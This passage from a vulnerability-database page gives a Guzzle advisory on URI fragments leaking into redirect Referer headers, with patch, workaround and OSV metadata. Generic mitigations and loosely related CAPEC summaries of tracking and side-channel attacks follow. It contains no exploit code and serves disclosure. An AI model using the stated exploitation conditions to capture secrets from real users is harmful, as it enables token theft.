}
]
}
GHSA-H95V-H523-3MW8
Vulnerability from github – Published: 2026-07-20 23:28 – Updated: 2026-08-04 12:53Impact
When the optional referer redirect setting is enabled, affected versions of RedirectMiddleware can copy the fragment from the referring request URI into a generated Referer header. A URI fragment is the part after #. It is handled locally by the client and is not part of the HTTP request target, so the server handling the original request does not receive it. A generated Referer tells the redirect destination which URI led to the request. Guzzle correctly removes user information from that value, but retains the fragment when it follows a redirect to the same scheme, such as HTTPS to HTTPS. For example, an initial URI ending in #secret is sent without the fragment, but the redirect destination can receive a Referer ending in #secret. This behavior affects both the cURL and stream handlers.
An attacker who controls the redirect destination can read the fragment from the incoming header, including through request logs or application code. If the fragment contains a one-time login secret, access token, state value, or other private client data, it is disclosed to a server that was never meant to receive it. Exploitation requires the application to enable allow_redirects.referer, make a request to a URI with a sensitive fragment, and follow a same-scheme redirect to a less-trusted destination.
The referer setting is disabled by default. Applications that leave it disabled, do not put sensitive data in URI fragments, do not follow redirects, or only redirect within the same trust boundary are not affected. Guzzle already omits the generated header when the scheme changes. This issue is limited to the fragment's inclusion. Reducing the path and query on cross-origin redirects is a separate privacy policy question.
Patches
The issue is patched in 7.15.1 and later. Starting in that release, Guzzle removes both user information and the fragment before generating a redirect Referer value. Other redirect behavior does not change. Guzzle retains the referring path and query, and continues to omit the header when the scheme changes. Versions before 7.15.1 are affected when the optional referer setting is enabled.
Workarounds
If you cannot upgrade immediately, leave automatic Referer generation disabled. It is off by default. If redirect options are configured explicitly, ensure that referer is false:
$client->request('GET', $uri, [
'allow_redirects' => ['referer' => false],
]);
Alternatively, disable automatic redirects and follow trusted destinations manually, or remove the fragment from the request URI before sending a request that may redirect. Do not rely on the fact that fragments are absent from the initial HTTP request target, because the affected middleware can reintroduce them in the generated header.
References
- https://www.rfc-editor.org/rfc/rfc9110.html#section-10.1.3
- https://www.rfc-editor.org/rfc/rfc3986.html#section-3.5
- https://www.rfc-editor.org/rfc/rfc9700.html#section-4.2.3
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67354"
],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:28:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen the optional `referer` redirect setting is enabled, affected versions of `RedirectMiddleware` can copy the fragment from the referring request URI into a generated `Referer` header. A URI fragment is the part after `#`. It is handled locally by the client and is not part of the HTTP request target, so the server handling the original request does not receive it. A generated `Referer` tells the redirect destination which URI led to the request. Guzzle correctly removes user information from that value, but retains the fragment when it follows a redirect to the same scheme, such as HTTPS to HTTPS. For example, an initial URI ending in `#secret` is sent without the fragment, but the redirect destination can receive a `Referer` ending in `#secret`. This behavior affects both the cURL and stream handlers.\n\nAn attacker who controls the redirect destination can read the fragment from the incoming header, including through request logs or application code. If the fragment contains a one-time login secret, access token, state value, or other private client data, it is disclosed to a server that was never meant to receive it. Exploitation requires the application to enable `allow_redirects.referer`, make a request to a URI with a sensitive fragment, and follow a same-scheme redirect to a less-trusted destination.\n\nThe `referer` setting is disabled by default. Applications that leave it disabled, do not put sensitive data in URI fragments, do not follow redirects, or only redirect within the same trust boundary are not affected. Guzzle already omits the generated header when the scheme changes. This issue is limited to the fragment\u0027s inclusion. Reducing the path and query on cross-origin redirects is a separate privacy policy question.\n\n### Patches\n\nThe issue is patched in `7.15.1` and later. Starting in that release, Guzzle removes both user information and the fragment before generating a redirect `Referer` value. Other redirect behavior does not change. Guzzle retains the referring path and query, and continues to omit the header when the scheme changes. Versions before `7.15.1` are affected when the optional `referer` setting is enabled.\n\n### Workarounds\n\nIf you cannot upgrade immediately, leave automatic Referer generation disabled. It is off by default. If redirect options are configured explicitly, ensure that `referer` is `false`:\n\n```php\n$client-\u003erequest(\u0027GET\u0027, $uri, [\n \u0027allow_redirects\u0027 =\u003e [\u0027referer\u0027 =\u003e false],\n]);\n```\n\nAlternatively, disable automatic redirects and follow trusted destinations manually, or remove the fragment from the request URI before sending a request that may redirect. Do not rely on the fact that fragments are absent from the initial HTTP request target, because the affected middleware can reintroduce them in the generated header.\n\n### References\n\n* https://www.rfc-editor.org/rfc/rfc9110.html#section-10.1.3\n* https://www.rfc-editor.org/rfc/rfc3986.html#section-3.5\n* https://www.rfc-editor.org/rfc/rfc9700.html#section-4.2.3",
"id": "GHSA-h95v-h523-3mw8",
"modified": "2026-08-04T12:53:53Z",
"published": "2026-07-20T23:28:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-h95v-h523-3mw8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67354"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3901"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/7b68220d6543f6f80fe62e633361fc9d4ead14d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.15.1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/guzzlehttp-guzzle-before-uri-fragment-disclosure-via-referer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guzzle: URI fragments disclosed in redirect Referer headers"
}
Mitigation
Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
Mitigation
Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
Mitigation
Setup default error messages so that unexpected errors do not disclose sensitive information.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-217: Exploiting Incorrectly Configured SSL/TLS
An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.
CAPEC-612: WiFi MAC Address Tracking
In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.
CAPEC-613: WiFi SSID Tracking
In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.
CAPEC-618: Cellular Broadcast Message Request
In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.
CAPEC-619: Signal Strength Tracking
In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.
CAPEC-621: Analysis of Packet Timing and Sizes
An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).
CAPEC-622: Electromagnetic Side-Channel Attack
In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.
CAPEC-623: Compromising Emanations Attack
Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.